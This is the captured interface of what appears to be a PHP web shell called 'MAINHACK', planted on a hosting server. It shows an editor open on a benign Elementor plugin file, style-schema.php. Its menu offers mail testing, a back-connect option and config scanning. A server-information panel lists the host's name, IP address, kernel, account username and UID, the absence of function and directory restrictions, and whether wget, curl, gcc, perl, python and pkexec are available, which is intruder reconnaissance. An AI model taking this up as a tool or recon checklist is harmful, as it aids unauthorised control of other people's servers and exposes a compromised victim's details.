[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: style-schema.php
<?php namespace Elementor\Modules\Variables\Classes; use Elementor\Modules\AtomicWidgets\PropTypes\Base\Array_Prop_Type; use Elementor\Modules\AtomicWidgets\PropTypes\Base\Object_Prop_Type; use Elementor\Modules\AtomicWidgets\PropTypes\Primitives\String_Prop_Type; use Elementor\Modules\AtomicWidgets\PropTypes\Color_Prop_Type; use Elementor\Modules\AtomicWidgets\PropTypes\Union_Prop_Type; use Elementor\Modules\Variables\PropTypes\Color_Variable_Prop_Type; use Elementor\Modules\Variables\PropTypes\Font_Variable_Prop_Type; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Style_Schema { public function augment( array $schema ): array { foreach ( $schema as $key => $prop_type ) { $schema[ $key ] = $this->update( $prop_type ); if ( method_exists( $prop_type, 'get_meta' ) && method_exists( $schema[ $key ], 'meta' ) ) { $meta = $schema[ $key ]->get_meta() ?? []; foreach ( $meta as $meta_key => $meta_value ) { $schema[ $key ]->meta( $meta_key, $meta_value ); } } } if ( isset( $schema['font-family'] ) ) { $schema['font-family'] = $this->update_font_family( $schema['font-family'] ); } return $schema; } private function update( $prop_type ) { if ( $prop_type instanceof Color_Prop_Type ) { return $this->update_color( $prop_type ); } if ( $prop_type instanceof Union_Prop_Type ) { return $this->update_union( $prop_type ); } if ( $prop_type instanceof Object_Prop_Type ) { return $this->update_object( $prop_type ); } if ( $prop_type instanceof Array_Prop_Type ) { return $this->update_array( $prop_type ); } return $prop_type; } private function update_font_family( $prop_type ): Union_Prop_Type { if ( $prop_type instanceof String_Prop_Type ) { return Union_Prop_Type::create_from( $prop_type ) ->add_prop_type( Font_Variable_Prop_Type::make() ); } if ( $prop_type instanceof Union_Prop_Type ) { $prop_type->add_prop_type( Font_Variable_Prop_Type::make() ); } return $prop_type; } private function update_color( Color_Prop_Type $color_prop_type ): Union_Prop_Type { return Union_Prop_Type::create_from( $color_prop_type ) ->add_prop_type( Color_Variable_Prop_Type::make() ); } private function update_array( Array_Prop_Type $array_prop_type ): Array_Prop_Type { return $array_prop_type->set_item_type( $this->update( $array_prop_type->get_item_type() ) ); } private function update_object( Object_Prop_Type $object_prop_type ): Object_Prop_Type { return $object_prop_type->set_shape( $this->augment( $object_prop_type->get_shape() ) ); } private function update_union( Union_Prop_Type $union_prop_type ): Union_Prop_Type { foreach ( $union_prop_type->get_prop_types() as $prop_type ) { $updated = $this->update( $prop_type ); if ( $updated instanceof Union_Prop_Type ) { foreach ( $updated->get_prop_types() as $updated_prop_type ) { $union_prop_type->add_prop_type( $updated_prop_type ); } } } return $union_prop_type; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.3 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252